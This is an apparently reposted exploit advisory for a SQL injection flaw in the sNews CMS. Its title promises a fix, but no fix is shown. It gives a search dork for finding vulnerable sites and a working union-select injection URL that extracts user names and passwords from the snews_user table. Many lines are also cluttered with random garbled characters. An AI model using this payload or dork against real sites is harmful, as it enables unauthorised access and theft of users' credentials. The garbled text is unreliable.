CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
0 [& v# V  N) n5 F5 T, _& L作者: By onestree
. [3 N' S# l6 R9 ^7 o3 G8 B( j' v6 ]下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"


*************************************************************
5 q  F+ B' h; ]* K: [) P
SQL poc:
( K/ }- l" N. ~. f7 L. Q
/ R6 A* K3 U! o3 Jhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
0 h4 @1 q: g% o
6 F. |$ u, T0 l示例

  s- _1 \  b& l" y  z  ?  A4 ahttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
) m  W( x" v1 r% F0 W7 K( i# a

致谢:

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder
& J+ h% i, m+ `8 h5 V
) c9 X4 H6 E% T7 X- tspesial my hunny :*
0 d, p; E8 v/ X6 _2 }